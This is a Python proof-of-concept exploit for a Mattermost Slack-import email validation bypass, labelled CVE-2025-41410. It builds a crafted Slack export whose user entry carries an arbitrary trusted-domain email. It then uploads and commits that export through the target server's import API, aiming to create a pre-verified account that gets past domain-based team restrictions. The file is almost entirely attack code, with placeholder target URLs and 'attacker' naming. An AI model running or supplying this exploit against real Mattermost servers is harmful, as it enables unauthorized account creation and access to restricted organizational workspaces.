# CVE-2025-41410 - Mattermost Slack Import Email Validation Bypass PoC
# This PoC demonstrates how to exploit the email validation bypass
# during Mattermost's Slack import process.
import json
import zipfile
import os
import tempfile
def create_malicious_slack_export(target_email, username, first_name, last_name):
"""
Create a malicious Slack export archive that exploits CVE-2025-41410.
The email address is set to an arbitrary trusted domain to bypass
email-based team access restrictions.
"""
temp_dir = tempfile.mkdtemp()
users_data = []
# Construct malicious user entry with arbitrary trusted domain email
user_entry = {
"id": "U_ATTACKER01",
"team_id": "T_ATTACKER",
"name": username,
"deleted": False,
"color": "9f69e0",
"real_name": f"{first_name} {last_name}",
"tz": "America/Los_Angeles",
"tz_label": "Pacific Daylight Time",
"profile": {
"title": "",
"phone": "",
"skype": "",
"real_name": f"{first_name} {last_name}",
"real_name_normalized": f"{first_name} {last_name}",
"display_name": first_name,
"display_name_normalized": first_name,
"fields": None,
"status_text": "",
"status_emoji": "",
"status_expiration": 0,
"avatar_hash": "",
"image_24": "",
"image_32": "",
"image_48": "",
"image_72": "",
"image_192": "",
"image_512": "",
"image_1024": "",
"image_original": "",
"email": target_email, # Arbitrary trusted domain email
"first_name": first_name,
"last_name": last_name,
"pronouns": ""
},
"is_admin": False,
"is_owner": False,
"is_primary_owner": False,
"is_restricted": False,
"is_ultra_restricted": False,
"is_bot": False,
"is_app_user": False,
"updated": 1700000000
}
users_data.append(user_entry)
# Write users.json to the export archive
export_path = os.path.join(temp_dir, "slack_export.zip")
with zipfile.ZipFile(export_path, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr("users.json", json.dumps(users_data, indent=2))
# Add minimal required structure for Slack import
zf.writestr("channels.json", json.dumps([], indent=2))
zf.writestr("integration_logs.json", json.dumps([], indent=2))
return export_path
def exploit(target_mattermost_url, target_email, auth_token):
"""
Upload the malicious Slack export to Mattermost to create
a verified account with the target email domain.
"""
import requests
export_file = create_malicious_slack_export(
target_email=target_email,
username="attacker_user",
first_name="Attacker",
last_name="User"
)
upload_url = f"{target_mattermost_url}/api/v4/slack_import"
headers = {
"Authorization": f"Bearer {auth_token}"
}
with open(export_file, 'rb') as f:
files = {"file": ("slack_export.zip", f, "application/zip")}
params = {"fileSize": os.path.getsize(export_file)}
# Step 1: Get upload URL
response = requests.post(upload_url, headers=headers, params=params)
if response.status_code == 200:
upload_data = response.json()
print(f"[+] Upload initiated successfully")
print(f"[+] File ID: {upload_data.get('file_id')}")
# Step 2: Upload file data
upload_file_url = f"{target_mattermost_url}/api/v4/slack_import/{upload_data.get('file_id')}"
with open(export_file, 'rb') as upload_f:
upload_response = requests.post(
upload_file_url,
headers=headers,
data=upload_f.read()
)
print(f"[+] Upload response: {upload_response.status_code}")
# Step 3: Perform import (triggers email validation bypass)
import_url = f"{target_mattermost_url}/api/v4/slack_import/{upload_data.get('file_id')}/commit"
import_response = requests.post(import_url, headers=headers)
print(f"[+] Import response: {import_response.status_code}")
if import_response.status_code == 200:
print(f"[+] Account created with email: {target_email}")
print(f"[+] Email verification bypassed - account is pre-verified")
print(f"[+] Attacker can now log in with arbitrary password")
os.remove(export_file)
# Example usage:
# exploit("https://target-mattermost.com", "
[email protected]", "attacker_auth_token")